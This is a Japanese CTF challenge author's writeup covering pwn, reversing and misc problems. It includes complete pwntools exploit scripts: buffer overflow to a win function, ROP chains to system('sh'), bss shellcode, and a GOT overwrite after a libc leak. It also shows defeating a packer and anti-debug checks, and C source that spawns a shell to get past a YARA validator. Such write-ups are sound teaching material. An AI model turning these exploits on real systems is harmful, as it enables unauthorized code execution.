問題一覧

私が作問したのは以下の6問です.去年より少ないですが許してください.

Pwnable

Reversing

Misc

Writeup

Pwn

BeginnersBof

155 solves / 84 pt

問題文

Pwnってこういうのだけじゃないらしいですが,多分これだけでもできればすごいと思います.

作問にあたって

問題文に書いた通りです.

世の中こういうシンプルな問題だけじゃないんですが,まぁ他のCTFでもPwnの一番簡単な問題として出る最低ラインはここらへんだと思ったので出しました.

writeup

サイズが0x10でスタックに確保しているバッファに対して,指定した任意のサイズでの読み込みを行っています.

canaryも無く,PIEも無いのでwinに飛ばせば勝ちです.

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9000'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

io = remote(HOST, PORT)

pad = b'a' * 0x28

payload = pad + pack(e.sym['win'])

io.sendlineafter(b'name?', str(100).encode())
io.sendlineafter(b'name?', payload)

io.recvuntil(b'ctf4b')
print('ctf4b' + io.readline().decode(), end='')

直前になって気付いたんですが,リモートだと1回目のサイズをpayloadの長さピッタリにしたりするとコケます.

ここら辺の調整が甘かったのをマジで反省しています.許してください.

raindrop

53 solves / 134 pt

問題文

おぼえていますか?

作問にあたって

去年のBeginners ROPbeginner問からの難易度の乖離が大きかった気がしたので,その手前くらいの難易度感で作りました.

writeup

普通にROP gadget組むだけです.

puts("finish");"finish"sh\0があるので,systemの引数に渡すようにします.

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9001'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

io = remote(HOST, PORT)

pad = b'a' * 0x18

rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rax; ret
rop.raw(pack(next(e.search(b'sh\0'))))
rop.raw(pack(e.sym['help']+0xf)) # system()

payload = pad + rop.chain()

assert(len(payload) <= 0x30)

io.sendlineafter(b'?', payload)

io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')

print(io.readline().decode('utf-8', 'ignore'), end='')

snowdrop

44 solves / 144 pt

問題文

これでもうあの危険なone gadgetは使わせないよ!

作問にあたって

one gadget無しのROPで遊んで欲しくて作りました.

writeup

static linkされているので,one gadgetは使えませんが,ROP gadget自体は豊富です.

色々な解き方があると思いますが,とりあえず一番簡単そうなのはbssにシェルコード置いて飛ばす奴です.

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9002'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
bss = e.bss() + 0x800

io = remote(HOST, PORT)

pad = b'a' * 0x18

rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(p64(bss))
rop.raw(p64(e.sym['gets']))
rop.raw(rop.find_gadget(['ret']))
rop.raw(p64(bss))

payload = pad + rop.chain()

io.sendlineafter(b'?', payload)

shellcode = asm(shellcraft.sh())

io.sendline(shellcode)


io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')

print(io.readline().decode('utf-8', 'ignore'), end='')

simplelist

32 solves / 166 pt

問題文

C言語でリストを実装してみました

難しかったので、伝家の宝刀†printデバッグ†を使いました。

作問にあたって

malloc/freeが使われてるのを見て,「うわHeapじゃん.辞めとこ」みたいなアレルギーを無くしてほしくて作りました.

あとはglibc heapのexploitをする前に普通のlinked listに対する攻撃手法みたいなのを理解して欲しかったです.

問題で扱う領域がstackからheapに切り替わった時のsolve数の落差を減らしたいという目的は,去年と比べるとある程度達成できた気がしています.

writeup

BOFでlinked listのnext要素を書き換える事で,任意アドレスへの読み書きができるので,libcをリークし,RELROも無いのでGOT overwriteをします.

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9003'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.33.so')
context.binary = binfile

one_gadgets = [0xde78c, 0xde78f, 0xde792]

io = remote(HOST, PORT)

def create(content: bytes):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Content: ', content)


def edit(index: int, content: bytes) -> bytes:
    io.sendlineafter(b'>', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    io.recvuntil(b'Old content: ')
    old = io.readline().strip()
    io.sendlineafter(b'New content: ', content)
    return old


next_offset = 0x28

pad = b'a' * next_offset

create(b'hoge')
create(b'fuga')

# overwrite next->content by got['puts']
payload = pad + pack(e.got['puts'] - 8)
edit(0, payload)

# libc leak
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', b'2')
io.recvuntil(b'Old content: ')
libc_base = unpack(io.readline().ljust(8, b'\0')) - libc.sym['puts']

# overwrite got['puts'] by one_gadget
io.sendlineafter(b'New content: ', p64(libc_base + one_gadgets[1]))

io.sendline(b'echo exploited')

io.recvuntil(b'exploited')
io.sendline(b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')

Reversing

please_not_debug_me

48 solves / 138 pt

問題文

バグも無いのにデバッグしないでください!!!

作問にあたって

実は最初Pwnだけ作るつもりだったんですが,足りなそうだったのと読むだけ問ばかりだったという事で前日に作りました.(これも読むだけかもしれないけど)

Mediumのつもりだったのを無理やりpackっぽい事してHardにしたりしているので,結構荒いと思います.許してください.

一応0から作ったんですが,結局中身は去年の奴と解き方もほぼ被っちゃってるんですよね.マジでごめんなさい.

writeup

去年のplease_not_debug_meとの違いは

くらいです.これを踏まえるとRansomの方が難しいんじゃないかとすら思えるんですが,どうですか?

解く流れとしては

  1. unpackする
  2. patch当てる
  3. gdbでRC4のKeyを抽出
  4. バイナリに含まれる比較対象の暗号文をKeyで復号

みたいな感じだと思っていましたが,packerを雑に実装したので,unpackせずにdebugした人もいるっぽいですね.

packするまではbreakpoint検知の追加とRC4実装の修正だけだったんですが,なんかあんまり意味ない気がしたので,難易度を上げずに一段階追加するつもりがhard判定されました.RC4改変する案も出てたんですが,直前だったのでそのままです.

pack処理は非常に簡単で,対象のバイナリをxxd -iしてPythonでシュッとxorしてから#includeで埋め込んでいます.クソコードでごめんなさい

pack: victim
        xxd -i victim > tmp.h
        python3 -c "print('unsigned char binary[] = ' + str([int(x, 16) ^ 22 for x in ''.join(open('tmp.h', 'r').read().split(';')[0].replace('}', '').replace('unsigned char victim[] = {','').split('\n')).split(',')]).replace('[','{').replace(']','}') + ';\nunsigned int binary_len = 16800;\n')" >> enc_bin.h
        rm tmp.h
        gcc -Wall -Wextra pack.c -o please_not_debug_me

mainを読んでみると

ulong main(ulong argc, ulong argv)

{
    int32_t iVar1;
    ulong uVar2;
    int64_t in_FS_OFFSET;
    ulong var_30h;
    ulong var_24h;
    uint32_t var_18h;
    ulong fd;
    int64_t canary;

    canary = *(in_FS_OFFSET + 0x28);
    fd._0_4_ = sym.imp.syscall(0x13f, 0x2004, 0);
    if (fd == -1) {
        sym.imp.err(1, "Can\'t unpack");
    }
    for (var_18h = 0; var_18h < _obj.binary_len; var_18h = var_18h + 1) {
        str.iSZP[var_18h] = str.iSZP[var_18h] ^ 0x16;
    }
    sym.imp.write(fd, str.iSZP, _obj.binary_len);
    stack0xffffffffffffffe8 = 0;
    iVar1 = sym.imp.fexecve(fd, argv, &fd + 4);
    if (iVar1 == -1) {
        sym.imp.err(1, "Can\'t execute");
    }
    uVar2 = 0;
    if (canary != *(in_FS_OFFSET + 0x28)) {
        uVar2 = sym.imp.__stack_chk_fail();
    }
    return uVar2;
}

てな感じで埋め込まれたバイナリをxorしているのが自明にわかります.

次にやっている操作ですが,syscall(0x13f,で作成したfdにwriteしてfexecveしています.

0x13fmemfd_createです.

というわけで上のソースのobj.iSZPに当たる部分を抽出してxorしたり,syscallを置き換えてmemfd_createの時に適当なファイルを作るようにするなどの方法が思いつきます.

一番簡単な方法としては,「packerのバイナリ全体をxorしてbinwalkとddで抽出する」みたいなのがあると思います.

$ python3 -c "open('vic', 'wb').write(bytes([x ^ 22 for x in open('please_not_debug_me', 'rb').read()]))"
$ binwalk vic

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
12320         0x3020          ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)

$ dd if=vic of=vic.bin bs=1 skip=12320

取り出したバイナリはanti debugが施されているので,ptrace検知っぽいinitを適当にNOPで埋めたりします

[0x00001190]> pdg @sym.init

// WARNING: Variable defined which should be unmapped: var_4h
// WARNING: Could not reconcile some variable overlaps

void entry.init1(void)

{
    int64_t iVar1;
    ulong var_4h;

    var_4h._0_4_ = 0;
    iVar1 = sym.imp.ptrace(0, 0, 1, 0);
    if (iVar1 == 0) {
        var_4h._0_4_ = 2;
    }
    iVar1 = sym.imp.ptrace(0, 0, 1, 0);
    if (iVar1 == -1) {
        var_4h._0_4_ = var_4h * 3;
    }
    if (var_4h != 6) {
        sym.imp.fwrite("No bugs here so don\'t debug me!\n", 1, 0x20, _reloc.stderr);
    // WARNING: Subroutine does not return
        sym.imp.exit(1);
    }
    return;
}
$ r2 -w -c "wx 90909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090 @ 0x160b" vic.bin

これでgdbが使えます.

checkを見てみると,ごちゃごちゃとbreakpoint検知はしていますが,本質的にはKeyのデコードと引数で渡されたファイルの暗号化,埋め込まれた暗号文との比較を行っていることがわかります.

若干罠っぽいのは,ghidra(r2ghidra)を使うとパッと見RC4の引数にエンコードされたままのKeyが渡されているような出力になっている点ですかね.

    do {
    // switch table (6 cases) at 0x20b8
        switch(var_a0h) {
        case 0:
            if ((*(*0x3fe8 + 8) & 0xff) == 0xcc) {
                sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
    // WARNING: Subroutine does not return
                sym.imp.exit(1);
            }
            var_98h = fcn.000010e0(arg1, 0x20a2);
            break;
        case 1:
            if (var_98h == 0) {
                sym.imp.err(1, "fopen(\"%s\", \"r\")", arg1);
            }
            break;
        case 2:
            if ((*(*0x3fd0 + 8) & 0xff) == 0xcc) {
                sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
    // WARNING: Subroutine does not return
                sym.imp.exit(1);
            }
            fcn.000010d0(&var_90h, 0x3f, var_98h);
            break;
        case 3:
            for (var_a0h._4_4_ = 0; var_a0h._4_4_ < 0x28; var_a0h._4_4_ = var_a0h._4_4_ + 1) {
                "b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC"[var_a0h._4_4_] =
                     "b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC"[var_a0h._4_4_] ^ var_a0h._4_4_;
            }
            break;
        case 4:
            if ((*0x14fa & 0xff) == 0xcc) {
                sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
    // WARNING: Subroutine does not return
                sym.imp.exit(1);
            }
            sym.RC4("b14be7`2i<hoj;mnq&#+#-!$,//xy$)/D\x11\x16E\x10\x10\x1fC", &var_90h, &s2);
            break;
        case 5:
            if ((*(*0x3fd8 + 8) & 0xff) == 0xcc) {
                sym.imp.fwrite("Why are you trying to debug when there are no bugs?\n", 1, 0x34, _reloc.stderr);
    // WARNING: Subroutine does not return
                sym.imp.exit(1);
            }
            sym.imp.memcmp(obj.ENC, &s2, 0x3f);
            if (var_8h != *(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
                sym.imp.__stack_chk_fail();
            }
            return;
        }
        var_a0h._0_4_ = var_a0h + 1;
    } while( true );

ただのxorなので自力でデコードしても良いんですが,せっかくなのでgdbを使います.

gdb-peda$ b RC4
Breakpoint 1 at 0x14fa
gdb-peda$ r dummy
Starting program: /home/lilium/ctf/please_not_debug_me/vic.bin dummy
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Why are you trying to debug when there are no bugs?
[Inferior 1 (process 159450) exited with code 01]
Warning: not running
gdb-peda$

RC4にbreakpointを張ろうとするとこんな感じで怒られると思うので,呼び出す直前にしておきます

Guessed arguments:
arg[0]: 0x555555558020 ("b06aa2f5a5bdf6caa7187873465ce970d04f459d")
arg[1]: 0x7fffffffcd40 ("**dummy**\n")
arg[2]: 0x7fffffffcd80 --> 0x0

するとまぁこんな感じでKeyが取り出せるので,暗号化されたFlagをCyberchefでもなんでも使って復号するだけです.

う〜ん,Hardで合ってるかも.

Misc

今年もMiscは1問しか作れていません.

Misc作るの楽しいけど面白い問題思いつかない

ultra_super_miracle_validator

40 solves / 150 pt

問題文

C言語のソースコードをコンパイルして実行してくれるサービスを作りました!

危険なコードは実行させたくないので,天才的で複雑な充足可能性問題を用いたルールに基づいて弾いています!

作問にあたって

今年の難易度詐欺問題です.本当に反省しています.

SAT Solverの有用性に気付いて欲しかったです.

最初は充足可能性問題である事を問題文に明記していなかったんですが,筋力で解く人が出そうなので書きました.それでも筋力で解いた人はいるかも.凄い.

(スーパーウルトラハイパーミラクルにしようかと思ってたんですが,長すぎて削りました.それでも長くてごめんなさい.)

writeup

思考の流れとしては

  1. Pythonを読む(理解する)
  2. Yara ruleを読む(理解する)
  3. 問題文中の「充足可能性問題」を調べ,理解し,SAT Solverの存在を知る
  4. cnfを知る(理解する)
  5. conditionをcnfに変換しz3に投げる
  6. exploit!

みたいな感じになっているのに開催中に気付いて,「え,Step多くね? 絶対easyじゃないだろ」ってなりました.マジでごめんなさい.

1~4のステップは置いておいて,5〜6あたりを主に説明します.

rule.yaraconditionnot ( ごちゃごちゃしたやつ )になっているので,ごちゃごちゃした充足可能性問題を満たすようなバイナリを作れば良い事がわかります.

一応全探索はさせたくなくて変数を増やしたので,(少なくともそのままでは)全探索できないと思います.

前処理してから探索されたりDPLL実装されたりしたら手も足も出ないというか尊敬と謝罪をします.ルール作るのめんどくさ過ぎて適当にした俺が完全に悪いので.

想定解のSAT Solverを使うとして,必要になるconditionからDIMACS CNFに変換する奴を置いておきます.なんかsedしかパッと思いつかなかったのでsedです.

echo '(($x1 or $x6 or $x12 or not $x21 or $x32) and ($x3 or $x5 or not $x11 or $x24 or $x35) and (not $x3 or $x31 or $x40 or $x9 or $x27) and ($x4 or $x8 or $x10 or $x29 or $x40) and ($x4 or $x7 or $x11 or $x25 or not $x36) and ($x8 or $x14 or $x18 or $x21 or $x38) and ($x12 or $x15 or not $x20 or $x30 or $x35) and ($x19 or $x21 or not $x32 or $x33 or $x39) and ($x2 or $x37 or $x19 or not $x23) and (not $x5 or $x14 or $x23 or $x30) and (not $x5 or $x8 or $x18 or $x23) and ($x33 or $x22 or $x4 or $x38) and ($x2 or $x20 or $x39) and ($x3 or $x15 or not $x30) and ($x6 or not $x17 or $x30) and ($x8 or $x29 or not $x21) and (not $x16 or $x1 or $x29) and ($x20 or $x10 or not $x5) and (not $x13 or $x25) and ($x21 or $x28 or $x30) and not $x2 and $x3 and not $x7 and not $x10 and not $x11 and $x14 and not $x15 and not $x22 and $x26 and not $x27 and $x34 and $x36 and $x37 and not $x40)' | sed 's/ and /\n/g' | tr -d '(' | tr -d '\$x' | tr -d ')' | sed -e 's/or //g' | sed -e 's/not /-/g' | sed -e 's/$/ 0/g'```

まぁここは手動でも気合でいけます.

rule.cnf

c (x1 ∨ x6 ∨ x12 ∨ -x21 ∨ x32) ∧ (x3 ∨ x5 ∨ -x11 ∨ x24 ∨ x35) ∧ (-x3 ∨ x31 ∨ x40 ∨ x9 ∨ x27) ∧ (x4 ∨ x8 ∨ x10 ∨ x29 ∨ x40) ∧ (x4 ∨ x7 ∨ x11 ∨ x25 ∨ -x36) ∧ (x8 ∨ x14 ∨ x18 ∨ x21 ∨ x38) ∧ (x12 ∨ x15 ∨ -x20 ∨ x30 ∨ x35) ∧ (x19 ∨ x21 ∨ -x32 ∨ x33 ∨ x39) ∧ (x2 ∨ x37 ∨ x19 ∨ -x23) ∧ (-x5 ∨ x14 ∨ x23 ∨ x30) ∧ (-x5 ∨ x8 ∨ x18 ∨ x23) ∧ (x33 ∨ x22 ∨ x4 ∨ x38) ∧ (x2 ∨ x20 ∨ x39) ∧ (x3 ∨ x15 ∨ -x30) ∧ (x6 ∨ -x17 ∨ x30) ∧ (x8 ∨ x29 ∨ -x21) ∧ (-x16 ∨ x1 ∨ x29) ∧ (x20 ∨ x10 ∨ -x5) ∧ (x21 ∨ x28 ∨ x30) ∧ (-x13 ∨ x25) ∧ -x2 ∧ x3 ∧ -x7 ∧ -x10 ∧ -x11 ∧ x14 ∧ -x15 ∧ -x22 ∧ x26 ∧ -x27 ∧ x34 ∧ x36 ∧ x37 ∧ -x40
p cnf 40 34
1 6 12 -21 32 0
3 5 -11 24 35 0
-3 31 40 9 27 0
4 8 10 29 40 0
4 7 11 25 -36 0
8 14 18 21 38 0
12 15 -20 30 35 0
19 21 -32 33 39 0
2 37 19 -23 0
-5 14 23 30 0
-5 8 18 23 0
33 22 4 38 0
2 20 39 0
3 15 -30 0
6 -17 30 0
8 29 -21 0
-16 1 29 0
20 10 -5 0
21 28 30 0
-13 25 0
-2 0
3 0
-7 0
-10 0
-11 0
14 0
-15 0
-22 0
26 0
-27 0
34 0
36 0
37 0
-40 0

こんな感じにファイルに書き出して(cの行はコメントなので不要です),z3に任せると秒で解いてくれます

sat
-1 -2 3 4 -5 -6 -7 8 9 -10 -11 12 -13 14 -15 -16 -17 -18 -19 20 21 -22 -23 -24 -25 26 -27 -28 -29 -30 -31 -32 -33 34 -35 36 37 -38 -39 -40

という事で,ここで-(NOT)がついていない文字列を含むバイナリを生成させます.

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5000'))

context.log_level = 'critical'
io = remote(HOST, PORT)

payload = 'int main(){puts("'
payload += '廃墟の街'
payload += 'イチジクのタルト'
payload += '天使'
payload += '紫陽花'
payload += '\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e'
payload += '\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67'
payload += '\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9'
payload += '\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5'
payload += '\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d'
payload += '\\x72\\x79\\x75\\x70\\x70\\xb9'
payload += '\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63'
payload += '\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b'
payload += '");system("sh");}'

io.sendlineafter(b'source:\n', payload.encode())

io.sendline(b'echo exploited')
io.sendlineafter(b'exploited', b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')

ルールに書いてあるstringsはジョジョ6部のアレをいろいろエンコードしてあります.

おわりに

かなりドタバタして各方面に迷惑を掛けてしまい,申し訳ないです.